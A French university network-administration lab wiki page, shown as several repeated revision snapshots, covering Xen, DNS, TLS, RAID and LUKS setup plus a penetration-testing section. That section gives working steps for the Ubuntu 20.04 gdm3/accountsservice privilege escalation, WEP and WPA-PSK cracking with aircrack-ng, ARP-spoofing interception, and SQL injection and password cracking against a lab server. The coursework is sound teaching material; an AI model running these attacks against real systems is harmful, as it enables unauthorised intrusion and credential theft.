Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-02T13:25:42Z

Jsoulaim : /* 4.3 Sécurisation de site web par certificat */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

==4.3 Sécurisation de site web par certificat==

Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Nous commençons

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-01T21:11:20Z

Jsoulaim : /* 4.2 Serveur DNS */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :
